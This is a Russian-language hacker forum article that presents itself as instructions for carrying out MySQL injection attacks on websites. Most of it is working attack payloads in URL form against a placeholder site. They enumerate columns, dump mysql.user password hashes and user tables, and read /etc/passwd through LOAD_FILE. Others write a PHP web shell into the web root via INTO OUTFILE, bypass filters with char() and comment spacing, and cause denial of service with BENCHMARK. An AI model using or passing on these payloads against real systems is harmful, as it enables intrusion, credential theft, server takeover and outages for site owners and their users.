MySQL Inj - основы и не только
Наставления рядовому хакеру для успешного проведения атаки
-----------------------------------------------------------------
MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.
Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.
Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>
То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.
Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:
http://www.site.ru/index.php?page=1
Способ №1:
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:
http://www.site.ru/index.php?page=1'
Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...
Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.
Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:
http://www.site.ru/index.php?page=2-1
Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.
Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
Код:
http://www.site.ru/index.php?page=-1+union+select+null,null/*
или
http://www.site.ru/index.php?page=99999+union+select+null,null/*
То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми. Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:
http://www.site.ru/index.php?page=-1+union+select+null,null,null,null,null,null/*
Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,6/*
Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,USER(),4,5,6/*
http://www.site.ru/index.php?page=-1+union+select+1,2,VERSION(),4,5,6/*
http://www.site.ru/index.php?page=-1+union+select+1,2,DATABASE(),4,5,6/*
Теперь наши возможности немного расширились. Мы можем:
1)Получить пароль root
Для этого составим такой запрос:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,user,password,5,6+from+mysql.us er/*
Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user
2)Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,name,passwd,4,5,6+from+users/*
3)Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,LOAD_FILE('/etc/passwd'),4,5,6/*
4)Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*
Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой
Секреты и ньюансы
Обход фильтрации:
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(USER(), 0x71),0x71),4,5,6/*
Это успешно сработало.
Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,LOAD_FILE(char(47,101,116,99,47 ,112,97,115,115,119,100)),4,5,6/*
Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
Код:
http://www.site.ru/index.php?page=-1+union+select+1,2,user,password,5,6+from+mysql.us er/*
аналогично
http://www.site.ru/index.php?page=-1/**/union/**/select/**/1,2,user,password,5,6/**/from/**/mysql.user/*
DOS
Код:
http://www.site.ru/index.php?page=-1+BENCHMARK(10000000,BENCHMARK(10000000,md5(curren t_date)))
----------------------------------------------------------------------------
Статья просто расчитана на то чтобы объеденить всю инфу о mysql inj в одной теме.
LoFFi (c)